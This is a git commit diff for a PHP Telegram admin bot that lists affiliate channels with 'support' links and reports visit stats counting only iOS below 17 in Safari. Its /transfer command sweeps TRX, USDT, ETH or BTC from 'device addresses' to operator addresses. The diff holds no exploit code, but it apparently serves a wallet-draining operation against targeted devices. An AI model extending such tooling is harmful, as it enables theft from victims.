feat: new chain

This commit is contained in:
hashbro
2026-08-11 02:26:43 +08:00
parent ec2d9f2308
commit 9bf769b2bd
56 changed files with 3806 additions and 325 deletions
+68
View File
@@ -0,0 +1,68 @@
<?php
namespace App\Telegram\Handlers;
use App\Models\Channel;
use App\Telegram\TelegramBotContext;
use SergiX44\Nutgram\Nutgram;
use SergiX44\Nutgram\Telegram\Types\Keyboard\CopyTextButton;
use SergiX44\Nutgram\Telegram\Types\Keyboard\InlineKeyboardButton;
use SergiX44\Nutgram\Telegram\Types\Keyboard\InlineKeyboardMarkup;
class ChannelCommand
{
public function __construct(
private readonly TelegramBotContext $context,
) {}
public function __invoke(Nutgram $bot): void
{
$query = Channel::query()->with('user:id,username')->orderByDesc('id');
$agent = $this->context->agent();
if ($agent !== null) {
$query->where('user_id', $agent->id);
}
$channels = $query->limit(30)->get();
if ($channels->isEmpty()) {
$bot->sendMessage('暂无渠道');
return;
}
$lines = ['📎 渠道列表(点按钮复制链接)', ''];
$markup = InlineKeyboardMarkup::make();
foreach ($channels as $i => $channel) {
$remark = trim((string) ($channel->remark ?? ''));
$remarkLabel = $remark !== '' ? $remark : '—';
$owner = $channel->agentLabel();
$status = $channel->isEnabled() ? '启用' : '停用';
$lines[] = ($i + 1).'. '.$channel->channel_id;
$lines[] = ' 备注: '.$remarkLabel.' | 归属: '.$owner.' | '.$status;
$links = $channel->supportLinks();
$link = $links[0] ?? ('/web/'.$channel->channel_id.'/support.html');
if (strlen($link) > 256) {
$link = substr($link, 0, 256);
}
$btnText = ($remark !== '' ? mb_substr($remark, 0, 18) : substr($channel->channel_id, 0, 8)).' · 复制链接';
$markup->addRow(InlineKeyboardButton::make(
text: $btnText,
copy_text: CopyTextButton::make($link),
));
}
if ($channels->count() >= 30) {
$lines[] = '';
$lines[] = '(仅显示最近 30 条)';
}
$bot->sendMessage(
implode("\n", $lines),
reply_markup: $markup,
);
}
}
+108
View File
@@ -0,0 +1,108 @@
<?php
namespace App\Telegram\Handlers;
use App\Models\Channel;
use App\Services\DashboardStatsService;
use App\Telegram\TelegramBotContext;
use SergiX44\Nutgram\Nutgram;
class DataCommand
{
public function __construct(
private readonly DashboardStatsService $stats,
private readonly TelegramBotContext $context,
) {}
public function __invoke(Nutgram $bot, ?string $args = null): void
{
$parts = preg_split('/\s+/', trim((string) $args)) ?: [];
$parts = array_values(array_filter($parts, fn ($p) => $p !== ''));
$days = null;
$channelId = '';
if (isset($parts[0]) && in_array($parts[0], ['1', '7', '30'], true)) {
$days = $parts[0];
$channelId = $parts[1] ?? '';
} elseif (isset($parts[0])) {
if (preg_match('/^[0-9a-f]{32}$/i', $parts[0])) {
$channelId = $parts[0];
} else {
$bot->sendMessage(
"Usage: /data [1|7|30] [channelId]\n"
."Omit days for today. Omit channelId for all channels."
);
return;
}
}
if ($channelId !== '' && ! preg_match('/^[0-9a-f]{32}$/i', $channelId)) {
$bot->sendMessage('channelId must be a 32-char hex string.');
return;
}
$channelId = strtolower($channelId);
$agent = $this->context->agent();
if ($agent !== null && $channelId !== '') {
$owned = Channel::query()
->where('user_id', $agent->id)
->where('channel_id', $channelId)
->exists();
if (! $owned) {
$bot->sendMessage('⛔ 无权查看该渠道');
return;
}
}
try {
$range = $this->stats->rangeFromDays($days);
} catch (\InvalidArgumentException $e) {
$bot->sendMessage($e->getMessage());
return;
}
$data = $this->stats->collect([
'range' => $range,
'channel_id' => $channelId,
'channel_exact' => $channelId !== '',
'agent' => $agent,
]);
$lines = [
'📊 访问统计',
'区间: '.$data['from'].' ~ '.$data['to'],
'渠道: '.($channelId !== '' ? $channelId : ($agent ? '本代理全部' : '全部')),
'',
'总设备: '.$data['total'],
'新增设备: '.$data['new_count'],
'活跃设备: '.$data['active_count'],
'页面 PV: '.$data['effective_pv'].' / '.$data['pv'].' (有效/全部)',
'页面 UV: '.$data['effective_uv'].' / '.$data['uv'].' (有效/全部)',
'有效口径: iOS<17 + Safari',
'',
'按系统:',
];
foreach ($data['by_os'] as $row) {
$lines[] = sprintf('• %s PV %d UV %d %s%%', $row['label'], $row['pv'], $row['uv'], $row['pct']);
}
$lines[] = '';
$lines[] = '按 iOS 版本:';
if ($data['by_ios_version'] === []) {
$lines[] = '• 暂无';
} else {
foreach ($data['by_ios_version'] as $row) {
$lines[] = sprintf('• %s PV %d UV %d %s%%', $row['label'], $row['pv'], $row['uv'], $row['pct']);
}
}
$bot->sendMessage(implode("\n", $lines));
}
}
+56
View File
@@ -0,0 +1,56 @@
<?php
namespace App\Telegram\Handlers;
use App\Telegram\TelegramBotContext;
use SergiX44\Nutgram\Nutgram;
class HelpCommand
{
public function __construct(
private readonly TelegramBotContext $context,
) {}
public function __invoke(Nutgram $bot): void
{
$lines = [
'📖 可用指令(仅指定群管理员)',
'',
'/help',
' 查看本帮助',
'',
'/ping',
' 健康检查',
'',
'/data [1|7|30] [channelId]',
' 查询访问统计(同仪表盘)',
' 天数默认当天;渠道默认全部',
' 例: /data',
' 例: /data 7',
' 例: /data 30 <channelId>',
'',
'/channel',
' 列出渠道:ID、备注、归属;点按钮复制链接',
];
if ($this->context->isOfficial()) {
$lines = array_merge($lines, [
'',
'/transfer <fromAddress> [TRX|USDT|ETH|BTC] [amount]',
' 从设备地址转出到配置收款地址(仅官方)',
' 按地址识别链:T…=Tron,0x…=ETH,1…/3…/bc1…=BTC',
' 省略 amount 则转全部;默认 Tron→USDT / ETH→ETH / BTC→BTC',
' 例: /transfer Txxx USDT 10',
' 例: /transfer 0x… ETH',
' 例: /transfer 1… BTC 0.01',
]);
} else {
$lines = array_merge($lines, [
'',
'(当前为代理机器人:仅可查看本代理渠道数据,不支持 /transfer)',
]);
}
$bot->sendMessage(implode("\n", $lines));
}
}
+86 -14
View File
@@ -18,37 +18,55 @@ class TransferCommand
if ($parts === []) {
$bot->sendMessage(
"Usage: /transfer <fromAddress> [TRX|USDT] [amount]\n"
."Omit amount to transfer all. Default asset: USDT.\n"
.'To = TRANSFER_TO_ADDRESS (env).'
"Usage: /transfer <fromAddress> [TRX|USDT|ETH|BTC] [amount]\n"
."Omit amount to transfer all. Chain is inferred from address.\n"
."Defaults: Tron→USDT, ETH→ETH, BTC→BTC.\n"
.'To = per-chain TRANSFER_TO_ADDRESS* (env).'
);
return;
}
$from = $parts[0];
$asset = 'USDT';
$chain = $this->detectChain($from);
if ($chain === null) {
$bot->sendMessage('Unrecognized address. Supported: Tron (T…), ETH (0x…), BTC (1…/3…/bc1…).');
return;
}
$asset = $this->defaultAsset($chain);
$amount = null;
$allowed = $this->assetsForChain($chain);
if (count($parts) === 2) {
$second = strtoupper($parts[1]);
if (in_array($second, ['TRX', 'USDT'], true)) {
if (in_array($second, $allowed, true)) {
$asset = $second;
} elseif ($this->isAmount($parts[1])) {
} elseif ($this->isAmount($parts[1], match ($chain) {
'eth' => 18,
'btc' => 8,
default => 6,
})) {
$amount = $parts[1];
} else {
$bot->sendMessage('Second arg must be TRX, USDT, or an amount.');
$bot->sendMessage('Second arg must be '.implode('|', $allowed).', or an amount.');
return;
}
} elseif (count($parts) >= 3) {
$asset = strtoupper($parts[1]);
if (! in_array($asset, ['TRX', 'USDT'], true)) {
$bot->sendMessage('Asset must be TRX or USDT.');
if (! in_array($asset, $allowed, true)) {
$bot->sendMessage('Asset must be '.implode(' or ', $allowed).' for '.$chain.'.');
return;
}
if (! $this->isAmount($parts[2])) {
$decimals = match ($asset) {
'ETH' => 18,
'BTC' => 8,
default => 6,
};
if (! $this->isAmount($parts[2], $decimals)) {
$bot->sendMessage('Invalid amount.');
return;
@@ -57,9 +75,9 @@ class TransferCommand
}
$label = $amount === null ? "ALL {$asset}" : "{$amount} {$asset}";
$bot->sendMessage("⏳ Transferring {$label} from {$from} …");
$bot->sendMessage("⏳ Transferring {$label} from {$from} ({$chain}) …");
$result = $this->transfers->handle('tron', $from, $amount, $asset);
$result = $this->transfers->handle($chain, $from, $amount, $asset, $this->operatorLabel($bot));
if (! ($result['ok'] ?? false)) {
$bot->sendMessage('❌ '.($result['error'] ?? 'Transfer failed'));
@@ -68,6 +86,7 @@ class TransferCommand
$bot->sendMessage(implode("\n", [
'✅ Transfer submitted',
'Chain: '.$chain,
'From: '.$result['from'],
'To: '.$result['to'],
'Amount: '.$result['amount'].' '.$result['asset'],
@@ -75,8 +94,61 @@ class TransferCommand
]));
}
private function isAmount(string $value): bool
private function detectChain(string $address): ?string
{
return (bool) preg_match('/^\d+(\.\d{1,6})?$/', $value);
$address = trim($address);
if (preg_match('/^T[1-9A-HJ-NP-Za-km-z]{33}$/', $address)) {
return 'tron';
}
if (preg_match('/^0x[0-9a-fA-F]{40}$/', $address)) {
return 'eth';
}
if (preg_match('/^(bc1|tb1)[a-z0-9]{8,87}$/i', $address)) {
return 'btc';
}
if (preg_match('/^[13][1-9A-HJ-NP-Za-km-z]{24,33}$/', $address)) {
return 'btc';
}
return null;
}
private function defaultAsset(string $chain): string
{
return match ($chain) {
'eth' => 'ETH',
'btc' => 'BTC',
default => 'USDT',
};
}
/** @return list<string> */
private function assetsForChain(string $chain): array
{
return match ($chain) {
'eth' => ['ETH', 'USDT'],
'btc' => ['BTC'],
default => ['TRX', 'USDT'],
};
}
private function isAmount(string $value, int $decimals = 6): bool
{
return (bool) preg_match('/^\d+(\.\d{1,'.$decimals.'})?$/', $value);
}
private function operatorLabel(Nutgram $bot): string
{
$user = $bot->user();
$id = $user?->id ?? $bot->userId();
$username = $user?->username;
if ($username) {
return "telegram:{$id}@{$username}";
}
$name = trim((string) ($user?->first_name ?? ''));
return $name !== '' ? "telegram:{$id}({$name})" : "telegram:{$id}";
}
}
+26 -2
View File
@@ -2,16 +2,28 @@
namespace App\Telegram\Middleware;
use App\Telegram\TelegramBotContext;
use Illuminate\Support\Facades\Log;
use SergiX44\Nutgram\Nutgram;
use SergiX44\Nutgram\Telegram\Properties\ChatType;
/**
* Allow only the configured owner group/supergroup for the current bot context
* (official system chat or the active agent's chat_id).
*/
class AuthorizedChat
{
public function __construct(
private readonly TelegramBotContext $context,
) {}
public function __invoke(Nutgram $bot, callable $next): mixed
{
$expected = (string) config('coruna.telegram.owner_chat_id', '');
$expected = $this->context->expectedChatId();
if ($expected === '') {
Log::warning('telegram AuthorizedChat: TELEGRAM_OWNER_CHAT_ID empty');
Log::warning('telegram AuthorizedChat: chat id empty', [
'agent_id' => $this->context->agent()?->id,
]);
return null;
}
@@ -21,6 +33,18 @@ class AuthorizedChat
Log::info('telegram AuthorizedChat: chat rejected', [
'chat_id' => $chatId,
'expected' => $expected,
'agent_id' => $this->context->agent()?->id,
]);
return null;
}
$type = $bot->chat()?->type;
$typeValue = $type instanceof ChatType ? $type->value : (string) $type;
if (! in_array($typeValue, [ChatType::GROUP->value, ChatType::SUPERGROUP->value, 'group', 'supergroup'], true)) {
Log::info('telegram AuthorizedChat: not a group chat', [
'chat_id' => $chatId,
'type' => $typeValue,
]);
return null;
+30 -5
View File
@@ -2,9 +2,15 @@
namespace App\Telegram\Middleware;
use Illuminate\Support\Facades\Log;
use SergiX44\Nutgram\Nutgram;
use SergiX44\Nutgram\Telegram\Properties\ChatMemberStatus;
use SergiX44\Nutgram\Telegram\Properties\ChatType;
/**
* Allow only group/supergroup administrators (or the creator).
* Must run after {@see AuthorizedChat}.
*/
class GroupAdminOnly
{
public function __invoke(Nutgram $bot, callable $next): mixed
@@ -15,19 +21,38 @@ class GroupAdminOnly
return null;
}
$type = $bot->chat()?->type;
$typeValue = $type instanceof ChatType ? $type->value : (string) $type;
if (! in_array($typeValue, [ChatType::GROUP->value, ChatType::SUPERGROUP->value, 'group', 'supergroup'], true)) {
Log::info('telegram GroupAdminOnly: rejected non-group chat', [
'chat_id' => $chatId,
'type' => $typeValue,
]);
return null;
}
try {
$member = $bot->getChatMember($chatId, $userId);
} catch (\Throwable) {
} catch (\Throwable $e) {
Log::warning('telegram GroupAdminOnly: getChatMember failed', [
'chat_id' => $chatId,
'user_id' => $userId,
'error' => $e->getMessage(),
]);
$bot->sendMessage('⛔ Unable to verify admin status.');
return null;
}
$status = $member?->status;
$ok = $status === ChatMemberStatus::CREATOR
|| $status === ChatMemberStatus::ADMINISTRATOR
|| $status === 'creator'
|| $status === 'administrator';
$statusValue = $status instanceof ChatMemberStatus ? $status->value : (string) $status;
$ok = in_array($statusValue, [
ChatMemberStatus::CREATOR->value,
ChatMemberStatus::ADMINISTRATOR->value,
'creator',
'administrator',
], true);
if (! $ok) {
$bot->sendMessage('⛔ Only group admins can use this command.');
@@ -0,0 +1,21 @@
<?php
namespace App\Telegram\Middleware;
use App\Telegram\TelegramBotContext;
use SergiX44\Nutgram\Nutgram;
/** Blocks /transfer (and similar) on agent bots. */
class OfficialBotOnly
{
public function __invoke(Nutgram $bot, callable $next): mixed
{
if (! app(TelegramBotContext::class)->isOfficial()) {
$bot->sendMessage('⛔ /transfer 仅限官方系统群使用');
return null;
}
return $next($bot);
}
}
+25
View File
@@ -0,0 +1,25 @@
<?php
namespace App\Telegram\Middleware;
use App\Telegram\TelegramBotContext;
use SergiX44\Nutgram\Nutgram;
/** Blocks /transfer (and similar) on agent bots. */
class OfficialOnly
{
public function __construct(
private readonly TelegramBotContext $context,
) {}
public function __invoke(Nutgram $bot, callable $next): mixed
{
if (! $this->context->isOfficial()) {
$bot->sendMessage('⛔ /transfer 仅限官方机器人使用');
return null;
}
return $next($bot);
}
}
+48
View File
@@ -0,0 +1,48 @@
<?php
namespace App\Telegram;
use App\Models\User;
/**
* Request-scoped Telegram bot identity.
* null agent = official system bot; otherwise an agent-configured bot.
*/
class TelegramBotContext
{
private ?User $agent = null;
public function setAgent(?User $agent): void
{
$this->agent = $agent;
}
public function agent(): ?User
{
return $this->agent;
}
public function isOfficial(): bool
{
return $this->agent === null;
}
public function isAgent(): bool
{
return $this->agent !== null;
}
public function expectedChatId(): string
{
if ($this->agent !== null) {
return trim((string) ($this->agent->chat_id ?? ''));
}
return trim((string) config('coruna.telegram.owner_chat_id', ''));
}
public static function webhookSecretFor(User $agent): string
{
return hash_hmac('sha256', 'telegram-agent:'.$agent->id, (string) config('app.key'));
}
}
+66
View File
@@ -0,0 +1,66 @@
<?php
namespace App\Telegram;
use App\Models\User;
use App\Telegram\Handlers\ChannelCommand;
use App\Telegram\Handlers\DataCommand;
use App\Telegram\Handlers\HelpCommand;
use App\Telegram\Handlers\PingCommand;
use App\Telegram\Handlers\TransferCommand;
use App\Telegram\Middleware\AuthorizedChat;
use App\Telegram\Middleware\GroupAdminOnly;
use App\Telegram\Middleware\OfficialOnly;
use SergiX44\Nutgram\Nutgram;
class TelegramRegistrar
{
public function __construct(
private readonly TelegramBotContext $context,
) {}
/** Official system bot — includes /transfer. Does not mutate bot context. */
public function registerOfficial(Nutgram $bot): void
{
$this->registerShared($bot, allowTransfer: true);
}
/** Agent bot — no /transfer; binds request context to this agent. */
public function registerAgent(Nutgram $bot, User $agent): void
{
$this->context->setAgent($agent);
$this->registerShared($bot, allowTransfer: false);
}
private function registerShared(Nutgram $bot, bool $allowTransfer): void
{
// HandlerGroup::middleware() unshifts — register GroupAdminOnly first so
// AuthorizedChat ends up outermost (chat allowlist before admin check).
$bot->group(function (Nutgram $bot) use ($allowTransfer) {
$bot->onCommand('help', HelpCommand::class)
->description('List available commands');
$bot->onCommand('ping', PingCommand::class)
->description('Health check');
$bot->onCommand('data', DataCommand::class)
->description('Visit stats (today). Optional: /data 1|7|30 [channelId]');
$bot->onCommand('data {args}', DataCommand::class)
->where('args', '.+')
->description('Visit stats for 1/7/30 days, optional channelId');
$bot->onCommand('channel', ChannelCommand::class)
->description('List channels with copyable support links');
if ($allowTransfer) {
$bot->onCommand('transfer {args}', TransferCommand::class)
->where('args', '.+')
->middleware(OfficialOnly::class)
->description('Transfer TRX or USDT from a device address (omit amount = all)');
}
})
->middleware(GroupAdminOnly::class)
->middleware(AuthorizedChat::class);
}
}